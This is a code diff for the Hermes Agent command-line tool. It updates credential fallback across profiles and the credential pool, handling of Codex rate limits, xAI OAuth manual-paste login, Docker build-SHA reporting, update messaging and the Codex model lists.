+            return _format_nous_entitlement_auth_error(error)
 
     if error.code == "temporarily_unavailable":
         return f"{error} Please retry in a few seconds."
@@ -779,6 +821,25 @@ def format_auth_error(error: Exception) -> str:
     return str(error)
 
 
+def _format_nous_entitlement_auth_error(error: AuthError) -> str:
+    try:
+        from hermes_cli.nous_account import (
+            format_nous_portal_entitlement_message,
+            get_nous_portal_account_info,
+        )
+
+        account_info = get_nous_portal_account_info(force_fresh=True)
+        message = format_nous_portal_entitlement_message(
+            account_info,
+            capability="Nous model access",
+        )
+        if message:
+            return message
+    except Exception:
+        pass
+    return f"{error} Check credits or billing in Nous Portal, then retry."
+
+
 def _token_fingerprint(token: Any) -> Optional[str]:
     """Return a short hash fingerprint for telemetry without leaking token bytes."""
     if not isinstance(token, str):
@@ -1085,11 +1146,32 @@ def _save_auth_store(auth_store: Dict[str, Any]) -> Path:
 
 
 def _load_provider_state(auth_store: Dict[str, Any], provider_id: str) -> Optional[Dict[str, Any]]:
+    """Return a provider's persisted state.
+
+    In profile mode, falls back to the global-root ``auth.json`` when the
+    profile has no entry for ``provider_id``. This mirrors the per-provider
+    shadowing already used by ``read_credential_pool``: workers spawned in a
+    profile can see providers (e.g. ``nous``) that were only authenticated at
+    global scope. Once the user runs ``hermes auth login <provider>`` inside
+    the profile, the profile state fully shadows the global state on the next
+    read. See issue #18594 follow-up.
+    """
     providers = auth_store.get("providers")
-    if not isinstance(providers, dict):
-        return None
-    state = providers.get(provider_id)
-    return dict(state) if isinstance(state, dict) else None
+    if isinstance(providers, dict):
+        state = providers.get(provider_id)
+        if isinstance(state, dict):
+            return dict(state)
+
+    # Read-only fallback to the global-root auth store (profile mode only;
+    # returns empty dict in classic mode so this is a no-op).
+    global_store = _load_global_auth_store()
+    if global_store:
+        global_providers = global_store.get("providers")
+        if isinstance(global_providers, dict):
+            global_state = global_providers.get(provider_id)
+            if isinstance(global_state, dict):
+                return dict(global_state)
+    return None
 
 
 def _save_provider_state(auth_store: Dict[str, Any], provider_id: str, state: Dict[str, Any]) -> None:
@@ -1243,23 +1325,18 @@ def unsuppress_credential_source(provider_id: str, source: str) -> bool:
 def get_provider_auth_state(provider_id: str) -> Optional[Dict[str, Any]]:
     """Return persisted auth state for a provider, or None.
 
-    In profile mode, falls back to the global-root ``auth.json`` when the
-    profile has no state for this provider. Profile state always wins when
-    present. Writes (``_save_auth_store`` / ``persist_*_credentials``) are
-    unchanged — they still target the profile only. This mirrors
+    In profile mode, ``_load_provider_state`` already falls back to the
+    global-root ``auth.json`` per-provider when the profile has no entry —
+    so this is now a thin convenience wrapper. Profile state always wins
+    when present. Writes (``_save_auth_store`` / ``persist_*_credentials``)
+    are unchanged — they still target the profile only. This mirrors
     ``read_credential_pool``'s per-provider shadowing semantics so that
     ``_seed_from_singletons`` can reseed a profile's credential pool from
     global-scope provider state (e.g. a globally-authenticated Anthropic
     OAuth or Nous device-code session). See issue #18594 follow-up.
     """
     auth_store = _load_auth_store()
-    state = _load_provider_state(auth_store, provider_id)
-    if state is not None:
-        return state
-    global_store = _load_global_auth_store()
-    if not global_store:
-        return None
-    return _load_provider_state(global_store, provider_id)
+    return _load_provider_state(auth_store, provider_id)
 
 
 def get_active_provider() -> Optional[str]:
@@ -1439,7 +1516,6 @@ def resolve_provider(
         "github": "copilot", "github-copilot": "copilot",
         "github-models": "copilot", "github-model": "copilot",
         "github-copilot-acp": "copilot-acp", "copilot-acp-agent": "copilot-acp",
-        "aigateway": "ai-gateway", "vercel": "ai-gateway", "vercel-ai-gateway": "ai-gateway",
         "opencode": "opencode-zen", "zen": "opencode-zen",
         "qwen-portal": "qwen-oauth", "qwen-cli": "qwen-oauth", "qwen-oauth": "qwen-oauth", "google-gemini-cli": "google-gemini-cli", "gemini-cli": "google-gemini-cli", "gemini-oauth": "google-gemini-cli",
         "hf": "huggingface", "hugging-face": "huggingface", "huggingface-hub": "huggingface",
@@ -3105,6 +3181,9 @@ def _prompt_manual_callback_paste(redirect_uri: str) -> dict:
     print("not on your laptop) — that is expected.  Copy the FULL URL")
     print("from your browser's address bar of that failed page and paste")
     print("it below.  A bare '?code=...&state=...' fragment also works.")
+    print("If the consent page shows the authorization code in-page")
+    print("(xAI's current behavior) rather than redirecting, paste the")
+    print("bare code value on its own.")
     print("───────────────────────────────────────────────────────────────")
     try:
         raw = input("Callback URL: ")
@@ -3231,6 +3310,77 @@ def _read_codex_tokens(*, _lock: bool = True) -> Dict[str, Any]:
     }
 
 
+def _sync_codex_pool_entries(
+    auth_store: Dict[str, Any],
+    tokens: Dict[str, str],
+    last_refresh: Optional[str],
+) -> None:
+    """Mirror a fresh Codex re-auth into the credential_pool OAuth entries.
+
+    The runtime selects credentials from ``credential_pool.openai-codex``, not
+    from ``providers.openai-codex.tokens``.  A re-auth invalidates the prior
+    OAuth pair server-side, but pool entries keep holding the now-consumed
+    refresh token plus any stale error markers — so the next request spends a
+    dead token and gets a 401 ``token_invalidated``.
+
+    What gets refreshed:
+
+    * ``device_code`` — the singleton-seeded entry written by the device-code
+      OAuth flow when the user logged in via ``hermes setup`` / the model
+      picker.  Always synced with the fresh tokens.
+    * ``manual:device_code`` — entries created by ``hermes auth add openai-codex``
+      that use the same device-code OAuth mechanism.  An interactive re-auth
+      proves the user owns the ChatGPT account, so it is safe (and expected)
+      to refresh these entries too.  Without this, a user who once ran the
+      ``hermes auth add`` workaround for #33000 would silently leave that
+      manual entry stale on every subsequent re-auth, recreating the issue
+      reported in #33538.
+
+    What does NOT get refreshed:
+
+    * ``manual:api_key`` and any other non-device-code manual sources — those
+      are independent credentials (an explicit API key, a different ChatGPT
+      account, etc.) and must not be overwritten by a single re-auth.
+
+    Error markers (``last_status``, ``last_error_*``) are also cleared on
+    every device-code-backed entry — even those whose tokens we did not
+    rewrite — so that an interactive re-auth gives every relevant pool entry
+    a fresh selection chance instead of leaving them marked unhealthy from a
+    pre-re-auth 401.
+    """
+    access_token = tokens.get("access_token")
+    if not access_token:
+        return
+    refresh_token = tokens.get("refresh_token")
+    pool = auth_store.get("credential_pool")
+    if not isinstance(pool, dict):
+        return
+    entries = pool.get("openai-codex")
+    if not isinstance(entries, list):
+        return
+    # Sources whose tokens should be rewritten by a fresh Codex device-code
+    # OAuth re-auth.  ``manual:api_key`` and unknown sources are intentionally
+    # excluded — they represent independent credentials.
+    REFRESHABLE_SOURCES = {"device_code", "manual:device_code"}
+    for entry in entries:
+        if not isinstance(entry, dict):
+            continue
+        source = entry.get("source")
+        if source not in REFRESHABLE_SOURCES:
+            continue
+        entry["access_token"] = access_token
+        if refresh_token:
+            entry["refresh_token"] = refresh_token
+        if last_refresh:
+            entry["last_refresh"] = last_refresh
+        entry["last_status"] = None
+        entry["last_status_at"] = None
+        entry["last_error_code"] = None
+        entry["last_error_reason"] = None
+        entry["last_error_message"] = None
+        entry["last_error_reset_at"] = None
+
+
 def _save_codex_tokens(tokens: Dict[str, str], last_refresh: str = None) -> None:
     """Save Codex OAuth tokens to Hermes auth store (~/.hermes/auth.json)."""
     if last_refresh is None:
@@ -3242,6 +3392,7 @@ def _save_codex_tokens(tokens: Dict[str, str], last_refresh: str = None) -> None
         state["last_refresh"] = last_refresh
         state["auth_mode"] = "chatgpt"
         _save_provider_state(auth_store, "openai-codex", state)
+        _sync_codex_pool_entries(auth_store, tokens, last_refresh)
         _save_auth_store(auth_store)
 
 
@@ -3273,6 +3424,30 @@ def refresh_codex_oauth_pure(
             },
         )
 
+    if response.status_code == 429:
+        # Upstream rate-limit / usage-quota exhaustion on the token endpoint.
+        # The stored refresh token is still valid here — re-authenticating
+        # cannot lift a quota cap. Classify distinctly from auth failures so
+        # callers surface a "retry later" notice instead of a misleading
+        # "run hermes auth" prompt (see issue #32790).
+        retry_after = _parse_retry_after_seconds(getattr(response, "headers", None))
+        if retry_after is not None:
+            message = (
+                f"Codex provider quota exhausted (429); retry after {retry_after}s. "
+                "Credentials are still valid."
+            )
+        else:
+            message = (
+                "Codex provider quota exhausted (429). Credentials are still valid; "
+                "retry after the usage limit resets."
+            )
+        raise AuthError(
+            message,
+            provider="openai-codex",
+            code=CODEX_RATE_LIMITED_CODE,
+            relogin_required=False,
+        )
+
     if response.status_code != 200:
         code = "codex_refresh_failed"
         message = f"Codex token refresh failed with status {response.status_code}."
@@ -3410,8 +3585,36 @@ def resolve_codex_runtime_credentials(
     refresh_if_expiring: bool = True,
     refresh_skew_seconds: int = CODEX_ACCESS_TOKEN_REFRESH_SKEW_SECONDS,
 ) -> Dict[str, Any]:
-    """Resolve runtime credentials from Hermes's own Codex token store."""
-    data = _read_codex_tokens()
+    """Resolve runtime credentials from Hermes's own Codex token store.
+
+    Falls back to the credential pool when the singleton (``providers.openai-codex.tokens``)
+    has no usable access_token but the pool (``credential_pool.openai-codex``) does. This
+    closes the divergence between the chat path (singleton-only via this function) and
+    the auxiliary path (pool-first via ``_read_codex_access_token``). Without this
+    fallback, a user whose tokens live only in the pool — for example after a manual
+    pool seed, a partial re-auth, or pool-only restoration from a backup — gets a bare
+    HTTP 401 ``Missing Authentication header`` from the wire instead of a usable
+    credential. See issue #32992.
+    """
+    try:
+        data = _read_codex_tokens()
+    except AuthError:
+        pool_token = _pool_codex_access_token()
+        if pool_token:
+            base_url = (
+                os.getenv("HERMES_CODEX_BASE_URL", "").strip().rstrip("/")
+                or DEFAULT_CODEX_BASE_URL
+            )
+            return {
+                "provider": "openai-codex",
+                "base_url": base_url,
+                "api_key": pool_token,
+                "source": "credential_pool",
+                "last_refresh": None,
+                "auth_mode": "chatgpt",
+            }
+        raise
+
     tokens = dict(data["tokens"])
     access_token = str(tokens.get("access_token", "") or "").strip()
     refresh_timeout_seconds = float(os.getenv("HERMES_CODEX_REFRESH_TIMEOUT_SECONDS", "20"))
@@ -3449,6 +3652,46 @@ def resolve_codex_runtime_credentials(
     }
 
 
+def _pool_codex_access_token() -> str:
+    """Return the most-recent usable access_token from the openai-codex pool.
+
+    Used as a fallback by ``resolve_codex_runtime_credentials`` when the
+    singleton has no creds.  Reads ``credential_pool.openai-codex`` entries
+    directly from auth.json and picks the first non-empty access_token,
+    preferring entries that are not currently in an exhaustion cooldown.
+    Returns ``""`` when no usable entry is found (caller handles by raising
+    the original AuthError).
+    """
+    try:
+        with _auth_store_lock():
+            auth_store = _load_auth_store()
+        pool = auth_store.get("credential_pool")
+        if not isinstance(pool, dict):
+            return ""
+        entries = pool.get("openai-codex")
+        if not isinstance(entries, list):
+            return ""
+
+        def _entry_usable(entry: Dict[str, Any]) -> bool:
+            if not isinstance(entry, dict):
+                return False
+            token = entry.get("access_token")
+            if not isinstance(token, str) or not token.strip():
+                return False
+            # Skip entries currently in an exhaustion cooldown window.
+            reset_at = entry.get("last_error_reset_at")
+            if isinstance(reset_at, (int, float)) and reset_at > time.time():
+                return False
+            return True
+
+        for entry in entries:
+            if _entry_usable(entry):
+                return str(entry.get("access_token", "")).strip()
+    except Exception:
+        logger.debug("Codex pool fallback lookup failed", exc_info=True)
+    return ""
+
+
 # =============================================================================
 # xAI Grok OAuth — tokens stored in ~/.hermes/auth.json
 # =============================================================================
@@ -5437,6 +5680,8 @@ def _empty_nous_auth_status() -> Dict[str, Any]:
         "access_expires_at": None,
         "agent_key_expires_at": None,
         "has_refresh_token": False,
+        "inference_credential_present": False,
+        "credential_source": None,
     }
 
 
@@ -5465,24 +5710,36 @@ def _snapshot_nous_pool_status() -> Dict[str, Any]:
             return (agent_exp, access_exp, -priority)
 
         entry = max(entries, key=_entry_sort_key)
-        access_token = (
-            getattr(entry, "access_token", None)
-            or getattr(entry, "runtime_api_key", "")
-        )
-        if not access_token:
+        runtime_key = getattr(entry, "runtime_api_key", None) or getattr(entry, "access_token", "")
+        if not runtime_key:
             return _empty_nous_auth_status()
+        access_token = getattr(entry, "access_token", None)
+        auth_type = str(getattr(entry, "auth_type", "") or "").strip().lower()
+        refresh_token = getattr(entry, "refresh_token", None)
+        is_portal_oauth = bool(access_token) and (
+            auth_type.startswith("oauth") or bool(refresh_token)
+        )
+        label = getattr(entry, "label", "unknown")
+        portal_status_url = None
+        if is_portal_oauth:
+            portal_status_url = (
+                getattr(entry, "portal_base_url", None)
+                or DEFAULT_NOUS_PORTAL_URL
+            )
 
         return {
-            "logged_in": True,
-            "portal_base_url": getattr(entry, "portal_base_url", None)
-            or getattr(entry, "base_url", None),
+            "logged_in": is_portal_oauth,
+            "portal_base_url": portal_status_url,
             "inference_base_url": getattr(entry, "inference_base_url", None)
+            or getattr(entry, "runtime_base_url", None)
             or getattr(entry, "base_url", None),
-            "access_token": access_token,
+            "access_token": access_token if is_portal_oauth else None,
             "access_expires_at": getattr(entry, "expires_at", None),
             "agent_key_expires_at": getattr(entry, "agent_key_expires_at", None),
-            "has_refresh_token": bool(getattr(entry, "refresh_token", None)),
-            "source": f"pool:{getattr(entry, 'label', 'unknown')}",
+            "has_refresh_token": bool(refresh_token),
+            "inference_credential_present": True,
+            "credential_source": f"pool:{label}",
+            "source": f"pool:{label}",
         }
     except Exception:
         return _empty_nous_auth_status()
@@ -5565,6 +5822,10 @@ def _compute_nous_auth_status() -> Dict[str, Any]:
             "agent_key_expires_at": state.get("agent_key_expires_at"),
             "has_refresh_token": bool(state.get("refresh_token")),
             "access_token": state.get("access_token"),
+            "inference_credential_present": bool(
+                state.get("access_token") or state.get("agent_key")
+            ),
+            "credential_source": "auth_store",
             "source": "auth_store",
         }
         try:
@@ -5582,6 +5843,8 @@ def _compute_nous_auth_status() -> Dict[str, Any]:
                     or refreshed_state.get("agent_key_expires_at")
                     or base_status.get("agent_key_expires_at"),
                     "has_refresh_token": bool(refreshed_state.get("refresh_token")),
+                    "inference_credential_present": True,
+                    "credential_source": "auth_store",
                     "source": f"runtime:{creds.get('source', 'portal')}",
                     "key_id": creds.get("key_id"),
                 }
@@ -6093,6 +6356,7 @@ def _prompt_model_selection(
     pricing: Optional[Dict[str, Dict[str, str]]] = None,
     unavailable_models: Optional[List[str]] = None,
     portal_url: str = "",
+    unavailable_message: str = "",
 ) -> Optional[str]:
     """Interactive model selection. Puts current_model first with a marker. Returns chosen model ID or None.
 
@@ -6184,18 +6448,22 @@ def _prompt_model_selection(
         choices.append("  Enter custom model name")
         choices.append("  Skip (keep current)")
 
+        _upgrade_url = (portal_url or DEFAULT_NOUS_PORTAL_URL).rstrip("/")
+        unavailable_footer = unavailable_message.strip()
+        if not unavailable_footer and _unavailable:
+            unavailable_footer = f"Upgrade at {_upgrade_url} for paid models"
+
         # Print the unavailable block BEFORE the menu via regular print().
         # simple_term_menu pads title lines to terminal width (causes wrapping),
         # so we keep the title minimal and use stdout for the static block.
         # clear_screen=False means our printed output stays visible above.
-        _upgrade_url = (portal_url or DEFAULT_NOUS_PORTAL_URL).rstrip("/")
         if _unavailable:
             print(menu_title)
             print()
             for mid in _unavailable:
                 print(f"{_DIM}     {_label(mid)}{_RESET}")
             print()
-            print(f"{_DIM}  ── Upgrade at {_upgrade_url} for paid models ──{_RESET}")
+            print(f"{_DIM}  ── {unavailable_footer} ──{_RESET}")
             print()
             effective_title = "Available free models:"
         else:
@@ -6237,8 +6505,11 @@ def _prompt_model_selection(
 
     if _unavailable:
         _upgrade_url = (portal_url or DEFAULT_NOUS_PORTAL_URL).rstrip("/")
+        unavailable_footer = unavailable_message.strip() or (
+            f"Unavailable models (requires paid tier — upgrade at {_upgrade_url})"
+        )
         print()
-        print(f"  {_DIM}── Unavailable models (requires paid tier — upgrade at {_upgrade_url}) ──{_RESET}")
+        print(f"  {_DIM}── {unavailable_footer} ──{_RESET}")
         for mid in _unavailable:
             print(f"  {'':>{num_width}}  {_DIM}{_label(mid)}{_RESET}")
     print()
@@ -6587,6 +6858,12 @@ def _xai_oauth_loopback_login(
     remote VM).  The same PKCE verifier, ``state``, and ``nonce`` are
     used for both paths so the upstream-side OAuth flow is identical.
     """
+    def _stdin_supports_manual_paste() -> bool:
+        try:
+            return bool(getattr(sys.stdin, "isatty", lambda: False)())
+        except Exception:
+            return False
+
     discovery = _xai_oauth_discovery(timeout_seconds)
     authorization_endpoint = discovery["authorization_endpoint"]
     token_endpoint = discovery["token_endpoint"]
@@ -6650,12 +6927,28 @@ def _xai_oauth_loopback_login(
                 else:
                     print("Could not open the browser automatically; use the URL above.")
 
-            callback = _xai_wait_for_callback(
-                server,
-                thread,
-                callback_result,
-                timeout_seconds=max(30.0, timeout_seconds * 9),
-            )
+            try:
+                callback = _xai_wait_for_callback(
+                    server,
+                    thread,
+                    callback_result,
+                    timeout_seconds=max(30.0, timeout_seconds * 9),
+                )
+            except AuthError as exc:
+                if (
+                    getattr(exc, "code", "") != "xai_callback_timeout"
+                    or not _stdin_supports_manual_paste()
+                ):
+                    raise
+                print()
+                print("xAI loopback callback timed out.")
+                print("If your browser reached a failed 127.0.0.1 callback page,")
+                print("paste that FULL callback URL below to continue this login.")
+                print("You can also re-run with `--manual-paste` to skip the")
+                print("loopback listener from the start.")
+                callback = _prompt_manual_callback_paste(redirect_uri)
+                if callback.get("code") is None and callback.get("error") is None:
+                    raise exc
         except Exception:
             try:
                 server.shutdown()
@@ -6675,7 +6968,21 @@ def _xai_oauth_loopback_login(
             provider="xai-oauth",
             code="xai_authorization_failed",
         )
-    if callback.get("state") != state:
+    callback_state = callback.get("state")
+    # Manual-paste bare-code path: when a user pastes only the opaque
+    # authorization code (no ``code=``/``state=`` query parameters),
+    # ``_parse_pasted_callback`` returns ``state=None``.  xAI's consent
+    # page renders the code in-page rather than redirecting through the
+    # 127.0.0.1 callback, so on many remote setups (Cloud Shell, headless
+    # VPS, container consoles) the bare code is the only thing the user
+    # can obtain.  PKCE (code_verifier) still binds the exchange to this
+    # client, so the local state-equality check is redundant on the
+    # bare-code path — we substitute the locally generated state to keep
+    # the rest of the validation chain (and the token exchange) unchanged.
+    # See #26923 (AccursedGalaxy comment, 2026-05-20).
+    if callback_state is None and manual_paste:
+        callback_state = state
+    if callback_state != state:
         raise AuthError(
             "xAI authorization failed: state mismatch.",
             provider="xai-oauth",
@@ -7436,8 +7743,9 @@ def _nous_device_code_login(
             portal_url = auth_state.get(
                 "portal_base_url", DEFAULT_NOUS_PORTAL_URL
             ).rstrip("/")
+            message = format_auth_error(exc)
             print()
-            print("Your Nous Portal account does not have an active subscription.")
+            print(message)
             print(f"  Subscribe here: {portal_url}/billing")
             print()
             print("After subscribing, run `hermes model` again to finish setup.")
@@ -7547,11 +7855,30 @@ def _login_nous(args, pconfig: ProviderConfig) -> None:
 
             print()
             unavailable_models: list = []
+            unavailable_message = ""
             if model_ids:
                 pricing = get_pricing_for_provider("nous")
-                free_tier = check_nous_free_tier()
+                # Force fresh account data for model selection so recent credit
+                # purchases are reflected immediately.
+                free_tier = check_nous_free_tier(force_fresh=True)
                 _portal_for_recs = auth_state.get("portal_base_url", "")
                 if free_tier:
+                    try:
+                        from hermes_cli.nous_account import (
+                            format_nous_portal_entitlement_message,
+                            get_nous_portal_account_info,
+                        )
+
+                        _account_info = get_nous_portal_account_info(force_fresh=True)
+                        unavailable_message = (
+                            format_nous_portal_entitlement_message(
+                                _account_info,
+                                capability="paid Nous models",
+                            )
+                            or ""
+                        )
+                    except Exception:
+                        unavailable_message = ""
                     # The Portal's freeRecommendedModels endpoint is the
                     # source of truth for what's free *right now*. Augment
                     # the curated list with anything new the Portal flags
@@ -7578,11 +7905,12 @@ def _login_nous(args, pconfig: ProviderConfig) -> None:
                     model_ids, pricing=pricing,
                     unavailable_models=unavailable_models,
                     portal_url=_portal,
+                    unavailable_message=unavailable_message,
                 )
             elif unavailable_models:
                 _url = (_portal or DEFAULT_NOUS_PORTAL_URL).rstrip("/")
                 print("No free models currently available.")
-                print(f"Upgrade at {_url} to access paid models.")
+                print(unavailable_message or f"Upgrade at {_url} to access paid models.")
             else:
                 print("No curated models available for Nous Portal.")
         except Exception as exc:

hermes_cli/backup.py

@@ -512,6 +512,7 @@ def _quick_snapshot_root(hermes_home: Optional[Path] = None) -> Path:
 def create_quick_snapshot(
     label: Optional[str] = None,
     hermes_home: Optional[Path] = None,
+    keep: Optional[int] = None,
 ) -> Optional[str]:
     """Create a quick state snapshot of critical files.
 
@@ -585,8 +586,10 @@ def create_quick_snapshot(
     with open(snap_dir / "manifest.json", "w", encoding="utf-8") as f:
         json.dump(meta, f, indent=2)
 
-    # Auto-prune
-    _prune_quick_snapshots(root, keep=_QUICK_DEFAULT_KEEP)
+    # Auto-prune. Defaults preserve historical manual /snapshot behavior; callers
+    # with known high-churn safety snapshots (for example pre-update) can pass a
+    # smaller keep value so large state.db copies do not accumulate indefinitely.
+    _prune_quick_snapshots(root, keep=_QUICK_DEFAULT_KEEP if keep is None else keep)
 
     logger.info("State snapshot created: %s (%d files)", snap_id, len(manifest))
     return snap_id

hermes_cli/banner.py

@@ -300,14 +300,42 @@ def _git_short_hash(repo_dir: Path, rev: str) -> Optional[str]:
 
 
 def get_git_banner_state(repo_dir: Optional[Path] = None) -> Optional[dict]:
-    """Return upstream/local git hashes for the startup banner."""
+    """Return upstream/local git hashes for the startup banner.
+
+    For source installs and dev images this runs ``git rev-parse`` against
+    the active checkout.  When no checkout is available — the canonical case
+    is the published Docker image, which excludes ``.git`` from the build
+    context — we fall back to the baked-in build SHA (see
+    ``hermes_cli/build_info.py``) and return it as a frozen
+    ``upstream == local`` state with ``ahead=0``.  A built image is by
+    definition pinned to one commit, so "ahead" is always zero and the
+    banner correctly shows ``· upstream <sha>`` with no carried-commits
+    annotation.
+    """
     repo_dir = repo_dir or _resolve_repo_dir()
     if repo_dir is None:
+        # No git checkout — try the baked build SHA (Docker image path).
+        try:
+            from hermes_cli.build_info import get_build_sha
+            baked = get_build_sha(short=8)
+            if baked:
+                return {"upstream": baked, "local": baked, "ahead": 0}
+        except Exception:
+            pass
         return None
 
     upstream = _git_short_hash(repo_dir, "origin/main")
     local = _git_short_hash(repo_dir, "HEAD")
     if not upstream or not local:
+        # Live-git lookup failed (e.g. shallow clone without origin/main).
+        # Fall back to the baked build SHA if available.
+        try:
+            from hermes_cli.build_info import get_build_sha
+            baked = get_build_sha(short=8)
+            if baked:
+                return {"upstream": baked, "local": baked, "ahead": 0}
+        except Exception:
+            pass
         return None
 
     ahead = 0

hermes_cli/build_info.py

@@ -0,0 +1,51 @@
+"""
+Baked-in build metadata for Hermes Agent.
+
+Source installs report their git revision live via ``git rev-parse`` (see
+``hermes_cli/dump.py`` and ``hermes_cli/banner.py``).  That doesn't work inside
+the published Docker image because ``.dockerignore`` excludes ``.git``, so
+those callsites fall back to ``"(unknown)"`` / drop the banner suffix entirely.
+
+To make ``hermes dump`` and the startup banner identify the exact commit the
+image was built from, the Docker build writes the build-time ``$HERMES_GIT_SHA``
+arg into ``<project_root>/.hermes_build_sha``.  This module is the single
+read-side helper consumed by both callsites — keeping the lookup in one place
+so the file path and missing-file behaviour stay consistent.
+
+Behaviour:
+
+- Returns ``None`` when the file is absent.  Source installs and dev images
+  built without the ``HERMES_GIT_SHA`` build-arg fall through to live-git
+  resolution in the caller, so non-Docker installs are unaffected.
+- Returns ``None`` on any IO / decoding error.  The build-sha is a nice-to-have
+  for support triage; nothing in the CLI is allowed to crash because of it.
+- Truncates to ``short`` characters (default 8) to match the format used by
+  ``git rev-parse --short=8`` throughout the codebase.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+from typing import Optional
+
+# Path is resolved relative to this module so it works regardless of cwd —
+# matches the pattern used by ``banner._resolve_repo_dir``.
+_BUILD_SHA_FILE = Path(__file__).parent.parent / ".hermes_build_sha"
+
+
+def get_build_sha(short: int = 8) -> Optional[str]:
+    """Return the baked-in build SHA, truncated to ``short`` chars, or None.
+
+    Reads ``<project_root>/.hermes_build_sha`` if present.  The file is
+    written by the Dockerfile's ``HERMES_GIT_SHA`` build-arg and contains
+    the full 40-character commit hash on a single line.
+    """
+    try:
+        if not _BUILD_SHA_FILE.is_file():
+            return None
+        sha = _BUILD_SHA_FILE.read_text(encoding="utf-8").strip()
+    except Exception:
+        return None
+    if not sha:
+        return None
+    return sha[:short] if short and short > 0 else sha

hermes_cli/codex_models.py

@@ -29,21 +29,29 @@ DEFAULT_CODEX_MODELS: List[str] = [
     # curated fallback so Pro users still see Spark in `/model` when live
     # discovery is unavailable (offline first run, transient API failure).
     "gpt-5.3-codex-spark",
-    "gpt-5.2-codex",
-    "gpt-5.1-codex-max",
-    "gpt-5.1-codex-mini",
+    # NOTE: gpt-5.2-codex / gpt-5.1-codex-max / gpt-5.1-codex-mini were
+    # previously listed here but the chatgpt.com Codex backend returns
+    # HTTP 400 "The '<model>' model is not supported when using Codex with
+    # a ChatGPT account." for all three on every ChatGPT Pro account we've
+    # tested (verified live 2026-05-27). Keeping them in the fallback list
+    # leaked dead slugs into /model when live discovery was unavailable
+    # (transient API failure, first-run before refresh) and surfaced HTTP 400
+    # crashes on selection. The Codex CLI public catalog still references
+    # these slugs, which is why they survived previously — but those entries
+    # describe the public OpenAI API, not the OAuth-backed Codex backend
+    # Hermes uses. Removed here. If OpenAI re-enables them on Codex backend,
+    # live discovery will pick them up automatically via _fetch_models_from_api.
 ]
 
 _FORWARD_COMPAT_TEMPLATE_MODELS: List[tuple[str, tuple[str, ...]]] = [
     ("gpt-5.5", ("gpt-5.4", "gpt-5.4-mini", "gpt-5.3-codex")),
-    ("gpt-5.4-mini", ("gpt-5.3-codex", "gpt-5.2-codex")),
-    ("gpt-5.4", ("gpt-5.3-codex", "gpt-5.2-codex")),
-    ("gpt-5.3-codex", ("gpt-5.2-codex",)),
+    ("gpt-5.4-mini", ("gpt-5.3-codex",)),
+    ("gpt-5.4", ("gpt-5.3-codex",)),
     # Surface Spark whenever any compatible Codex template is present so
     # accounts hitting the live endpoint with an older lineup still see
     # Spark in the picker. Backend gates real availability by ChatGPT Pro
     # entitlement; Hermes does not.
-    ("gpt-5.3-codex-spark", ("gpt-5.3-codex", "gpt-5.2-codex")),
+    ("gpt-5.3-codex-spark", ("gpt-5.3-codex",)),
 ]
 
 

hermes_cli/commands.py

@@ -63,6 +63,8 @@ class CommandDef:
 
 COMMAND_REGISTRY: list[CommandDef] = [
     # Session
+    CommandDef("start", "Acknowledge platform start pings without a reply", "Session",
+               gateway_only=True),
     CommandDef("new", "Start a new session (fresh session ID + history)", "Session",
                aliases=("reset",), args_hint="[name]"),
     CommandDef("topic", "Enable or inspect Telegram DM topic sessions", "Session",
@@ -121,7 +123,7 @@ COMMAND_REGISTRY: list[CommandDef] = [
     CommandDef("config", "Show current configuration", "Configuration",
                cli_only=True),
     CommandDef("model", "Switch model for this session", "Configuration",
-               aliases=("provider",), args_hint="[model] [--provider name] [--global]"),
+               aliases=("provider",), args_hint="[model] [--provider name] [--global] [--refresh]"),
     CommandDef("codex-runtime", "Toggle codex app-server runtime for OpenAI/Codex models",
                "Configuration", aliases=("codex_runtime",),
                args_hint="[auto|codex_app_server]"),

hermes_cli/config.py

@@ -345,6 +345,58 @@ def recommended_update_command() -> str:
     return recommended_update_command_for_method(method)
 
 
+# Long-form text for ``hermes update`` / ``--check`` when running inside the
+# Docker image.  Surfaced by ``cmd_update`` and ``_cmd_update_check`` in
+# hermes_cli/main.py; lives here so the wording stays consistent and we
+# don't grow two slightly-different copies.
+#
+# Why this matters:
+#   - The published image excludes ``.git`` (see .dockerignore), so the
+#     git-based update path can never succeed inside the container.
+#   - The pre-existing fallback message ("✗ Not a git repository. Please
+#     reinstall: curl ... install.sh") is actively misleading inside Docker
+#     — that script installs a *new* host-side Hermes, it doesn't update
+#     the running container.
+#   - The right action is ``docker pull`` + restart the container; this
+#     helper spells that out, with notes on tag pinning and config
+#     persistence so users don't get blindsided.
+_DOCKER_UPDATE_MESSAGE = """\
+✗ ``hermes update`` doesn't apply inside the Docker container.
+
+Hermes Agent runs as a published image (nousresearch/hermes-agent), not a
+git checkout — the container has no working tree to pull into.  Update by
+pulling a fresh image and restarting your container instead:
+
+  docker pull nousresearch/hermes-agent:latest
+  # then restart whatever started the container, e.g.:
+  docker compose up -d --force-recreate hermes-agent
+  # or, for ad-hoc runs, exit the current container and `docker run` again
+
+Verify the new version after restart:
+  docker run --rm nousresearch/hermes-agent:latest --version
+
+Notes:
+  • If you pinned a specific tag (e.g. ``:v0.14.0``) the ``:latest`` tag
+    won't move your container — pull the newer tag you actually want, or
+    switch to ``:latest`` / ``:main`` for rolling updates.  See available
+    tags at https://hub.docker.com/r/nousresearch/hermes-agent/tags
+  • Your config and session history live under ``$HERMES_HOME`` (``/opt/data``
+    in the container, typically bind-mounted from the host) and persist
+    across image upgrades — re-pulling doesn't lose any state.
+  • Running a fork?  Build your own image with this repo's ``Dockerfile``
+    and replace the ``docker pull`` step with your build/push pipeline."""
+
+
+def format_docker_update_message() -> str:
+    """Return the user-facing message for ``hermes update`` inside Docker.
+
+    Centralised so ``cmd_update`` (the apply path) and ``_cmd_update_check``
+    (the dry-run path) share the same wording.  See ``_DOCKER_UPDATE_MESSAGE``
+    above for the full rationale.
+    """
+    return _DOCKER_UPDATE_MESSAGE
+
+
 def format_managed_message(action: str = "modify this Hermes installation") -> str:
     """Build a user-facing error for managed installs."""
     managed_system = get_managed_system() or "a package manager"
@@ -712,8 +764,7 @@ DEFAULT_CONFIG = {
         "singularity_image": "docker://nikolaik/python-nodejs:python3.11-nodejs20",
         "modal_image": "nikolaik/python-nodejs:python3.11-nodejs20",
         "daytona_image": "nikolaik/python-nodejs:python3.11-nodejs20",
-        "vercel_runtime": "node24",
-        # Container resource limits (docker, singularity, modal, daytona, vercel_sandbox — ignored for local/ssh)
+        # Container resource limits (docker, singularity, modal, daytona — ignored for local/ssh)
         "container_cpu": 1,
         "container_memory": 5120,       # MB (default 5GB)
         "container_disk": 51200,        # MB (default 50GB)
